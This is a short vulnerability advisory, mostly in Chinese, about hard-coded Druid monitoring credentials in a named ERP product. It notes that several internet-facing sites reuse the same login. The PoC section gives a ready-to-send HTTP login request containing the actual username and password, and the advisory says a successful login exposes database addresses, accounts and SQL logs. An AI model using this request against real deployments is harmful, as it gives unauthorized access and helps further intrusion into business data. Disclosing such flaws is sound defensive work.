Description
上海小羚羊软件股份有限公司小羚羊ERP系统源码层面硬编码 Druid 监控模块登录凭据，外网部署的多个站点均沿用该固定账号密码。远程攻击者可构造登录请求访问Druid 监控登录接口进行登录，登录成功之后能够查看 MySQL 数据源地址、数据库账号、连接池状态信息以及完整的 SQL执行监控记录。攻击者通过收集上述数据库敏感信息，可据此针对性开展后续渗透，获取更多业务数据。
小羚羊ERP系统存在硬编码 Druid 监控账号密码漏洞
Details
- Severity
- 高危
- Type
- 弱口令
- Published
- PoC
- Public
PoC
POST /xlyEntry/druid/submitLogin HTTP/1.1
Host:
Content-Type: application/x-www-form-urlencoded
loginUsername=xly&loginPassword=666666
# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.References
